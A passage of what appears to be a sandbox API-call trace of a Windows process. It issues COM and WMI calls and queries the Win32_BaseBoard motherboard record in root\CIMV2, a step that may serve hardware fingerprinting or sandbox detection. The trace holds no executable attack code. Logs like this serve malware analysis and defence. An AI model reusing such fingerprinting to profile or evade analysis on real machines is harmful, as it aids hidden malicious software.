dwCapabilities=0x20) returned 0x0 [0157.266] IUnknown:Release (This=0x1b348a38) returned 0x2 [0157.266] WbemLocator:IUnknown:Release (This=0x1b351388) returned 0x1 [0157.266] CoTaskMemFree (pv=0x1b33f2a0) [0157.266] IUnknown:QueryInterface (in: This=0x1b348a30, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc020 | out: ppvObject=0x1b0bc020*=0x1b351388) returned 0x0 [0157.266] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bc0b0 | out: ppvObject=0x1b0bc0b0*=0x0) returned 0x80004002 [0157.266] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbcd0 | out: ppvObject=0x1b0bbcd0*=0x0) returned 0x80004002 [0157.267] IUnknown:QueryInterface (in: This=0x1b348a30, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb8a8 | out: ppvObject=0x1b0bb8a8*=0x0) returned 0x80004002 [0157.267] WbemLocator:IUnknown:AddRef (This=0x1b351388) returned 0x3 [0157.267] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb768 | out: ppvObject=0x1b0bb768*=0x0) returned 0x80004002 [0157.267] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb6f0 | out: ppvObject=0x1b0bb6f0*=0x0) returned 0x80004002 [0157.267] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb6e0 | out: ppvObject=0x1b0bb6e0*=0x1b351268) returned 0x0 [0157.268] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351268, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb708 | out: pCid=0x1b0bb708*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.268] WbemLocator:IUnknown:Release (This=0x1b351268) returned 0x3 [0157.268] CoGetContextToken (in: pToken=0x1b0bb790 | out: pToken=0x1b0bb790) returned 0x0 [0157.268] CoGetContextToken (in: pToken=0x1b0bbc10 | out: pToken=0x1b0bbc10) returned 0x0 [0157.268] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbcd0 | out: ppvObject=0x1b0bbcd0*=0x1b351350) returned 0x0 [0157.268] WbemLocator:IRpcOptions:Query (in: This=0x1b351350, pPrx=0x1b351388, dwProperty=2, pdwValue=0x1b0bbcc0 | out: pdwValue=0x1b0bbcc0) returned 0x80004002 [0157.268] WbemLocator:IUnknown:Release (This=0x1b351350) returned 0x3 [0157.268] WbemLocator:IUnknown:Release (This=0x1b351388) returned 0x2 [0157.268] CoGetContextToken (in: pToken=0x1b0bc2d0 | out: pToken=0x1b0bc2d0) returned 0x0 [0157.268] CoGetContextToken (in: pToken=0x1b0bc1d0 | out: pToken=0x1b0bc1d0) returned 0x0 [0157.268] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x1b0bc330*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1b0bc300 | out: ppvObject=0x1b0bc300*=0x1b348a30) returned 0x0 [0157.268] IUnknown:AddRef (This=0x1b348a30) returned 0x4 [0157.268] IUnknown:Release (This=0x1b348a30) returned 0x3 [0157.268] IUnknown:Release (This=0x1b348a30) returned 0x2 [0157.268] WbemLocator:IUnknown:Release (This=0x1b341f70) returned 0x2 [0157.268] SysStringLen (param_1=0x0) returned 0x0 [0157.269] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f4240, puCount=0x1b0bc928 | out: puCount=0x1b0bc928*=0x2) returned 0x0 [0157.269] WbemDefPath:IWbemPath:GetText (in: This=0x4f4240, lFlags=4, puBuffLength=0x1b0bc920*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc920*=0xf, pszText=0x0) returned 0x0 [0157.269] WbemDefPath:IWbemPath:GetText (in: This=0x4f4240, lFlags=4, puBuffLength=0x1b0bc920*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc920*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.269] CoGetContextToken (in: pToken=0x1b0bc4a0 | out: pToken=0x1b0bc4a0) returned 0x0 [0157.269] IUnknown:AddRef (This=0x1b348a30) returned 0x3 [0157.269] IEnumWbemClassObject:Clone (in: This=0x1b348a30, ppEnum=0x1b0bc8a0 | out: ppEnum=0x1b0bc8a0*=0x1b2e0d00) returned 0x0 [0157.270] IUnknown:QueryInterface (in: This=0x1b2e0d00, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc628 | out: ppvObject=0x1b0bc628*=0x1b2e0d08) returned 0x0 [0157.270] IClientSecurity:QueryBlanket (in: This=0x1b2e0d08, pProxy=0x1b2e0d00, pAuthnSvc=0x1b0bc6f0, pAuthzSvc=0x1b0bc670, pServerPrincName=0x1b0bc698, pAuthnLevel=0x1b0bc674, pImpLevel=0x1b0bc680, pAuthInfo=0x1b0bc6a8, pCapabilites=0x1b0bc684 | out: pAuthnSvc=0x1b0bc6f0*=0xa, pAuthzSvc=0x1b0bc670*=0x0, pServerPrincName=0x1b0bc698, pAuthnLevel=0x1b0bc674*=0x6, pImpLevel=0x1b0bc680*=0x2, pAuthInfo=0x1b0bc6a8, pCapabilites=0x1b0bc684*=0x1) returned 0x0 [0157.270] IUnknown:Release (This=0x1b2e0d08) returned 0x1 [0157.270] IUnknown:QueryInterface (in: This=0x1b2e0d00, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc5c0 | out: ppvObject=0x1b0bc5c0*=0x1b3509c8) returned 0x0 [0157.270] IUnknown:QueryInterface (in: This=0x1b2e0d00, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc5d0 | out: ppvObject=0x1b0bc5d0*=0x1b2e0d08) returned 0x0 [0157.270] IClientSecurity:SetBlanket (This=0x1b2e0d08, pProxy=0x1b2e0d00, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0157.290] IUnknown:Release (This=0x1b2e0d08) returned 0x2 [0157.290] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x1 [0157.290] CoTaskMemFree (pv=0x1b33f630) [0157.290] IUnknown:QueryInterface (in: This=0x1b2e0d00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc080 | out: ppvObject=0x1b0bc080*=0x1b3509c8) returned 0x0 [0157.290] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bc110 | out: ppvObject=0x1b0bc110*=0x0) returned 0x80004002 [0157.305] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbd30 | out: ppvObject=0x1b0bbd30*=0x0) returned 0x80004002 [0157.314] IUnknown:QueryInterface (in: This=0x1b2e0d00, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb908 | out: ppvObject=0x1b0bb908*=0x0) returned 0x80004002 [0157.314] WbemLocator:IUnknown:AddRef (This=0x1b3509c8) returned 0x3 [0157.314] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb7c8 | out: ppvObject=0x1b0bb7c8*=0x0) returned 0x80004002 [0157.314] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb750 | out: ppvObject=0x1b0bb750*=0x0) returned 0x80004002 [0157.314] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb740 | out: ppvObject=0x1b0bb740*=0x1b3508a8) returned 0x0 [0157.315] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3508a8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb768 | out: pCid=0x1b0bb768*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.315] WbemLocator:IUnknown:Release (This=0x1b3508a8) returned 0x3 [0157.315] CoGetContextToken (in: pToken=0x1b0bb7f0 | out: pToken=0x1b0bb7f0) returned 0x0 [0157.315] CoGetContextToken (in: pToken=0x1b0bbc70 | out: pToken=0x1b0bbc70) returned 0x0 [0157.315] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbd30 | out: ppvObject=0x1b0bbd30*=0x1b350990) returned 0x0 [0157.315] WbemLocator:IRpcOptions:Query (in: This=0x1b350990, pPrx=0x1b3509c8, dwProperty=2, pdwValue=0x1b0bbd20 | out: pdwValue=0x1b0bbd20) returned 0x80004002 [0157.315] WbemLocator:IUnknown:Release (This=0x1b350990) returned 0x3 [0157.315] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x2 [0157.315] CoGetContextToken (in: pToken=0x1b0bc330 | out: pToken=0x1b0bc330) returned 0x0 [0157.315] CoGetContextToken (in: pToken=0x1b0bc230 | out: pToken=0x1b0bc230) returned 0x0 [0157.315] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x1b0bc390*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1b0bc360 | out: ppvObject=0x1b0bc360*=0x1b2e0d00) returned 0x0 [0157.315] IUnknown:AddRef (This=0x1b2e0d00) returned 0x4 [0157.315] IUnknown:Release (This=0x1b2e0d00) returned 0x3 [0157.315] IUnknown:Release (This=0x1b2e0d00) returned 0x2 [0157.315] IUnknown:Release (This=0x1b348a30) returned 0x2 [0157.315] SysStringLen (param_1=0x0) returned 0x0 [0157.315] IEnumWbemClassObject:Reset (This=0x1b2e0d00) returned 0x0 [0157.316] CoTaskMemAlloc (cb=0x8) returned 0x1b32ae70 [0157.316] IEnumWbemClassObject:Next (in: This=0x1b2e0d00, lTimeout=-1, uCount=0x1, apObjects=0x1b32ae70, puReturned=0x2b54640 | out: apObjects=0x1b32ae70*=0x1b349b20, puReturned=0x2b54640*=0x1) returned 0x0 [0157.318] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbc20 | out: ppvObject=0x1b0bbc20*=0x1b349b20) returned 0x0 [0157.318] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbcb0 | out: ppvObject=0x1b0bbcb0*=0x0) returned 0x80004002 [0157.318] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bb8d0 | out: ppvObject=0x1b0bb8d0*=0x0) returned 0x80004002 [0157.318] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb4a8 | out: ppvObject=0x1b0bb4a8*=0x0) returned 0x80004002 [0157.318] IUnknown:AddRef (This=0x1b349b20) returned 0x3 [0157.318] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb368 | out: ppvObject=0x1b0bb368*=0x0) returned 0x80004002 [0157.318] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb2f0 | out: ppvObject=0x1b0bb2f0*=0x0) returned 0x80004002 [0157.318] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb2e0 | out: ppvObject=0x1b0bb2e0*=0x1b349b28) returned 0x0 [0157.319] IMarshal:GetUnmarshalClass (in: This=0x1b349b28, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb308 | out: pCid=0x1b0bb308*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0157.319] IUnknown:Release (This=0x1b349b28) returned 0x3 [0157.319] CoGetContextToken (in: pToken=0x1b0bb390 | out: pToken=0x1b0bb390) returned 0x0 [0157.319] CoGetContextToken (in: pToken=0x1b0bb810 | out: pToken=0x1b0bb810) returned 0x0 [0157.319] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb8d0 | out: ppvObject=0x1b0bb8d0*=0x0) returned 0x80004002 [0157.319] IUnknown:Release (This=0x1b349b20) returned 0x2 [0157.319] CoGetContextToken (in: pToken=0x1b0bbed0 | out: pToken=0x1b0bbed0) returned 0x0 [0157.319] CoGetContextToken (in: pToken=0x1b0bbdd0 | out: pToken=0x1b0bbdd0) returned 0x0 [0157.319] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x1b0bbf30*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b0bbf00 | out: ppvObject=0x1b0bbf00*=0x1b349b20) returned 0x0 [0157.319] IUnknown:AddRef (This=0x1b349b20) returned 0x4 [0157.319] IUnknown:Release (This=0x1b349b20) returned 0x3 [0157.319] IUnknown:Release (This=0x1b349b20) returned 0x2 [0157.319] CoTaskMemFree (pv=0x1b32ae70) [0157.319] CoGetContextToken (in: pToken=0x1b0bc2a0 | out: pToken=0x1b0bc2a0) returned 0x0 [0157.319] IUnknown:AddRef (This=0x1b349b20) returned 0x3 [0157.319] IWbemClassObject:Get (in: This=0x1b349b20, wszName="__GENUS", lFlags=0, pVal=0x1b0bc860*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b0bc988*=0, plFlavor=0x1b0bc980*=0 | out: pVal=0x1b0bc860*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1b0bc988*=3, plFlavor=0x1b0bc980*=64) returned 0x0 [0157.319] IWbemClassObject:Get (in: This=0x1b349b20, wszName="__PATH", lFlags=0, pVal=0x1b0bc810*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b0bc940*=0, plFlavor=0x1b0bc938*=0 | out: pVal=0x1b0bc810*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\root\\CIMV2:Win32_BaseBoard.Tag=\"Base Board\"", varVal2=0x0), pType=0x1b0bc940*=8, plFlavor=0x1b0bc938*=64) returned 0x0 [0157.320] SysStringByteLen (bstr="\\\\XC64ZB\\root\\CIMV2:Win32_BaseBoard.Tag=\"Base Board\"") returned 0x68 [0157.320] SysStringByteLen (bstr="\\\\XC64ZB\\root\\CIMV2:Win32_BaseBoard.Tag=\"Base Board\"") returned 0x68 [0157.320] CoGetObjectContext (in: riid=0x27128a8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bc888 | out: ppv=0x1b0bc888*=0x4b0108) returned 0x0 [0157.320] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1b0bc878 | out: pAptType=0x1b0bc878*=1) returned 0x0 [0157.320] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x2712888*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b0bc880 | out: ppvObject=0x1b0bc880*=0x0) returned 0x80004002 [0157.320] IUnknown:Release (This=0x4b0108) returned 0x1 [0157.321] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bbc78 | out: ppv=0x1b0bbc78*=0x1b33c7a0) returned 0x0 [0157.321] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b33c7a0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbd60 | out: ppvObject=0x1b0bbd60*=0x0) returned 0x80004002 [0157.321] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b33c7a0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbd38 | out: ppvObject=0x1b0bbd38*=0x4f4600) returned 0x0 [0157.321] WbemDefPath:IUnknown:Release (This=0x1b33c7a0) returned 0x0 [0157.321] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f4600, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbae0 | out: ppvObject=0x1b0bbae0*=0x4f4600) returned 0x0 [0157.321] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f4600, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbb70 | out: ppvObject=0x1b0bbb70*=0x0) returned 0x80004002 [0157.321] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f4600, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb368 | out: ppvObject=0x1b0bb368*=0x0) returned 0x80004002 [0157.321] WbemDefPath:IUnknown:AddRef (This=0x4f4600) returned 0x3 [0157.321] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f4600, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb228 | out: ppvObject=0x1b0bb228*=0x0) returned 0x80004002 [0157.321] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f4600, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb1b0 | out: ppvObject=0x1b0bb1b0*=0x0) returned 0x80004002 [0157.322] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f4600, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb1a0 | out: ppvObject=0x1b0bb1a0*=0x1b33c880) returned 0x0 [0157.322] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b33c880, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb1c8 | out: pCid=0x1b0bb1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.322] WbemDefPath:IUnknown:Release (This=0x1b33c880) returned 0x3 [0157.322] CoGetContextToken (in: pToken=0x1b0bb250 | out: pToken=0x1b0bb250) returned 0x0 [0157.322] CoGetContextToken (in: pToken=0x1b0bb6d0 | out: pToken=0x1b0bb6d0) returned 0x0 [0157.322] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f4600, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb790 | out: ppvObject=0x1b0bb790*=0x0) returned 0x80004002 [0157.322] WbemDefPath:IUnknown:Release (This=0x4f4600) returned 0x2 [0157.322] WbemDefPath:IUnknown:Release (This=0x4f4600) returned 0x1 [0157.322] CoGetContextToken (in: pToken=0x1b0bc4c0 | out: pToken=0x1b0bc4c0) returned 0x0 [0157.322] CoGetContextToken (in: pToken=0x1b0bc3c0 | out: pToken=0x1b0bc3c0) returned 0x0 [0157.322] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f4600, riid=0x1b0bc520*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b0bc4f0 | out: ppvObject=0x1b0bc4f0*=0x4f4600) returned 0x0 [0157.322] WbemDefPath:IUnknown:AddRef (This=0x4f4600) returned 0x3 [0157.322] WbemDefPath:IUnknown:Release (This=0x4f4600) returned 0x2 [0157.322] WbemDefPath:IWbemPath:SetText (This=0x4f4600, uMode=0x4, pszPath="\\\\XC64ZB\\root\\CIMV2:Win32_BaseBoard.Tag=\"Base Board\"") returned 0x0 [0157.322] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f4240, puCount=0x1b0bc8a8 | out: puCount=0x1b0bc8a8*=0x2) returned 0x0 [0157.322] WbemDefPath:IWbemPath:GetText (in: This=0x4f4240, lFlags=4, puBuffLength=0x1b0bc8a0*=0x0, pszText=0x0 | out: 